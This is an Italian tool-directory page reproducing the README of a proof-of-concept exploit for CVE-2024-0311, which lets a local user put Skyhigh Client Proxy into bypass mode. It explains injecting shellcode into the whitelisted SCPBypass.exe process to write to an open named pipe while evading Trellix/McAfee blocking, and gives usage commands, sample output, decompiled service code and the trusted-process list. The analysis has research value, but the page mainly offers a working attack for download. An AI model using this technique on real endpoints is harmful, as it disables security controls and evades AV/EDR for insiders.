Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-0311 — Exploit proof-of-concept per CVE-2024-0311 che bypassa la policy di Skyhigh Client Proxy tramite iniezione di processi e manipolazione di named pipe, con shellcode personalizzato per eludere le restrizioni AV/EDR. | Kitploit
Strumenti/GitHubGitHub/calligraf0/cve-2024-0311
Escalation di PrivilegiExploitEvasione IDS/IPSReverse EngineeringShellcodeSviluppo PayloadBinary Exploitation
GitHubcalligraf0/cve-2024-0311

CVE-2024-0311

Exploit proof-of-concept per CVE-2024-0311 che bypassa la policy di Skyhigh Client Proxy tramite iniezione di processi e manipolazione di named pipe, con shellcode personalizzato per eludere le restrizioni AV/EDR.

Vedi Repository
92151 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-0311 ?

Questa è una PoC per quella che credo sia la CVE-2024-0311, SB10418.

Un insider malintenzionato può aggirare la policy esistente di Skyhigh Client Proxy senza un codice di rilascio valido.

Tanti dettagli. Molto exploit. ¯\(ツ)/¯

La PoC si inietta in un processo SCPBypass.exe avviato dall'utente e scrive nella pipe di SCPService.exe: \\.\pipe\MCPTrayPipe0. L'iniezione è necessaria perché, anche se la pipe è RW Everyone, WGUARDNT effettua alcuni controlli sull'eseguibile che scrive nella pipe (viene controllato il percorso dello scrittore), vedi sotto.

Viene fornito uno shellcode di esempio che consente l'esecuzione di WriteFile sulla pipe anche se Trellix/McAfee sono in esecuzione e intercettano/bloccano LoadLibrary.

Compilazione

Compilare in modalità Debug o Release da Visual Studio

Shellcode

Genera lo shellcode tramite:

root@kitploit:~
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary

quindi sostituisci lo shellcode in shellcode.c.

Utilizzo

root@kitploit:~
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
*  debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.

Output di esempio:

root@kitploit:~
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>

Se tutto è andato per il verso giusto, nei file di log SCP dovresti trovare una voce simile a questa:

root@kitploit:~
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run -  SCP will be going into bypass mode for 1440 minutes

Analisi

Questa sarà una breve analisi, perché nessuno ha tempo per le parole.

Skyhigh Proxy Client

Prima di tutto, cos'è il client proxy Skyhigh?

Il software Skyhigh Security Client Proxy aiuta a proteggere gli utenti endpoint dalle minacce alla sicurezza che si presentano quando accedono al web dall'interno o dall'esterno della rete. Il software client, installato su endpoint che eseguono Microsoft Windows o macOS, reindirizza le richieste web o le lascia proseguire verso un proxy per il filtraggio. Il software server gira su una delle piattaforme di gestione: Trellix ePO SaaS o Trellix ePO Cloud.

Questo dovrebbe chiarire le cose.

Qual è la causa principale?

Date le informazioni dell'advisory, non c'è molto su cui basarsi. Ad essere sincero, stavo esaminando il servizio binario per individuare problemi facilmente sfruttabili per LPE quando ho visto CreateNamedPipe e mi sono incuriosito.

Ecco una rapida copia incolla del codice decompilato da Ghidra:

root@kitploit:~
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)

{
  BOOL BVar1;
  int atoi_out_lpBuffer;
  HANDLE hNamedPipe;
  undefined8 uVar2;
  undefined auStackY_4c8 [32];
  uint nBytesRead;
  undefined4 local_474;
  undefined4 local_470;
  ulonglong nBytesRead_0;
  _SECURITY_ATTRIBUTES local_460;
  undefined pSecurityDescriptor [48];
  char out_lpBuffer [1024];
  ulonglong local_18;

  local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
  InitializeSecurityDescriptor(pSecurityDescriptor,1);

                    /* BOOL SetSecurityDescriptorDacl(
                         [in, out]      PSECURITY_DESCRIPTOR pSecurityDescriptor,
                         [in]           BOOL                 bDaclPresent,
                         [in, optional] PACL                 pDacl,
                         [in]           BOOL                 bDaclDefaulted
                       ); */
  SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
  local_460.bInheritHandle = 0;
  local_460.lpSecurityDescriptor = pSecurityDescriptor;
  local_460.nLength = 0x18;

                    /* HANDLE CreateNamedPipeW(
                         [in]           LPCWSTR               lpName,
                         [in]           DWORD                 dwOpenMode,
                         [in]           DWORD                 dwPipeMode,
                         [in]           DWORD                 nMaxInstances,
                         [in]           DWORD                 nOutBufferSize,
                         [in]           DWORD                 nInBufferSize,
                         [in]           DWORD                 nDefaultTimeOut,
                         [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
                       );

                       CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
                       PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
                        */
  hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
  while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
    BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
    if (BVar1 != 0) {
      while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
            BVar1 != 0) {
        nBytesRead_0 = (ulonglong)nBytesRead;
        if (1023 < nBytesRead_0) {
          fail_or_fastfail_FUN_1404794f0();
        }
        out_lpBuffer[nBytesRead_0] = '\0';
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
          local_474 = 0;
        }
        else {
          TraceMessage_FUN_140027e70
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
          local_474 = 1;
        }
        FUN_14022d510(param_1,1);
        atoi_out_lpBuffer = atoi(out_lpBuffer);
        uVar2 = FUN_140040210();
        LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
        if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
            ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
           ((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
          local_470 = 0;
        }
        else {
          TraceMessage_FUN_140027e10
                    (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
                    );
          local_470 = 1;
        }
        FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
                      atoi_out_lpBuffer);
        FUN_14022d5b0(param_1,atoi_out_lpBuffer);
      }
    }
    DisconnectNamedPipe(hNamedPipe);
  }
  FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
  return;
}

Come possiamo vedere, una volta chiamata la funzione, viene inizializzata una nuova struct DACL e viene creata una nuova pipe \\.\pipe\MCPTrayPipe0 in byte mode.

Poi, finché l'handle a tale pipe è valido, il programma legge da essa e cerca di convertire i byte inviati da ASCII a int con atoi(out_lpBuffer). Ignorando il fatto che esistono alternative migliori a atoi, supponendo che la chiamata a atoi non sia fallita, il valore convertito viene passato a FUN_14022d5b0:

root@kitploit:~

undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)

{
  BOOL BVar1;
  DWORD DVar2;
  undefined8 uVar3;
  LARGE_INTEGER local_10 [2];

  local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
  BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
                          );
  if (BVar1 == 0) {
    DVar2 = GetLastError();
    uVar3 = FUN_140040210();
    LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
                     ,DVar2);
    if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
        ((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
    {
      DVar2 = GetLastError();
      TraceMessage_FUN_140027e10
                (*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
    }
    uVar3 = 0xffffffff;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

che chiama SetWaitableTimer. Le stringhe qui hanno aiutato un po' a individuare il flusso desiderato.

Il punto principale è che il processo ScpService.exe non effettua alcun controllo su chi scrive cosa nella pipe: i dati vengono semplicemente considerati attendibili alla cieca e inoltrati. Inoltre, controllando i permessi sulla pipe con accesschk, la pipe risulta RW Everyone.

Quindi l'exploit dovrebbe sostanzialmente fare quanto segue:

  • CreateFile(): ottenere un handle alla pipe
  • SetNamedPipeHandleState(): impostare la modalità byte
  • WriteFile(): scrivere i dati
  • CloseHandle(): chiudere l'handle

Si può fare letteralmente in poche righe di PowerShell. Facile vittoria, vero? No.

Perché iniettare?

Se solo le cose fossero così semplici! Anche se tecnicamente sembrava funzionare così, l'apertura della pipe finiva sempre col timeout del client della pipe. Scavando un po' più a fondo, abbiamo notato che il servizio stava impostando qualche ACL da qualche altra parte.

ACL

Il descrittore di sicurezza predefinito usato da ScpService viene inizializzato come segue:

root@kitploit:~
SECURITY_DESCRIPTOR sd = {};

InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);

Questo rappresenta un DACL che non concede l'accesso a nessuno.

Se la discretionary access control list (DACL) che appartiene al descrittore di sicurezza di un oggetto è impostata su NULL, viene creata una DACL null. Una DACL null concede l'accesso completo a qualsiasi utente che lo richieda; il controllo di sicurezza normale non viene eseguito rispetto all'oggetto. Una DACL null non va confusa con una DACL vuota. Una DACL vuota è una DACL allocata e inizializzata correttamente che non contiene voci di controllo dell'accesso (ACE). Una DACL vuota non concede alcun accesso all'oggetto a cui è assegnata.

Molto probabilmente, l'ACE/DACL è delegato a \\.\WGUARDNT, che sembra essere un livello di protezione (McAfee?) responsabile di concedere l'accesso a un elenco limitato di oggetti:

root@kitploit:~
.data:000000014069A510 off_14069A510   dq offset aScpserviceExe_3
.data:000000014069A510                                         ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510                                         ; sub_14009A310+674↑o ...
.data:000000014069A510                                         ; "scpservice*.exe"
.data:000000014069A518                 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520                 dq offset aRegsvcExe    ; "regsvc.exe"
.data:000000014069A528                 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530                 dq offset aNaprdmgrExe  ; "naprdmgr.exe"
.data:000000014069A538                 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540                 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548                 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550                 dq offset aScpaboutExe  ; "SCPAbout.exe"
.data:000000014069A558                 dq offset aMfehidinExe  ; "mfehidin.exe"
.data:000000014069A560                 dq offset aMsiexecExe   ; "msiexec.exe"
.data:000000014069A568                 dq offset aMcshieldExe  ; "mcshield.exe"
.data:000000014069A570                 dq offset aMmcExe       ; "mmc.exe"
.data:000000014069A578                 dq offset aSystem_4     ; "system"
.data:000000014069A580                 dq offset aServicesExe  ; "services.exe"
.data:000000014069A588                 dq offset aWinlogonExe  ; "winlogon.exe"
.data:000000014069A590                 dq offset aSvchostExe   ; "svchost.exe"

Tentativo 1

Beh, se l'eseguibile che si connette viene controllato rispetto a un elenco di eseguibili/percorsi noti e, visto che SCPBypass.exe, eseguito con i privilegi del nostro utente, sembra essere in un elenco di app fidate, non potremmo semplicemente iniettare una DLL in SCPBypass.exe? Assolutamente! Peccato che Trellix/McAfee ti blocchi la chiamata a LoadLibrary.

Da qui la InjmeDLL inutilizzata nel progetto.

Tentativo 2 (finale)

Alla fine abbiamo optato per una soluzione rapida e sporca messa insieme da @wolfcod: iniettare semplicemente uno shellcode che faccia ciò che serve, dato che il processo ha comunque già tutto caricato. Invece di chiamare direttamente la syscall o provare altri trucchetti, questa semplice soluzione ha funzionato benissimo per il nostro caso d'uso.

Questo ha infine permesso di aggirare le restrizioni imposte dalla soluzione AV/EDR e di ottenere un exploit funzionante.

👋 Saluti.

Scarica lo strumento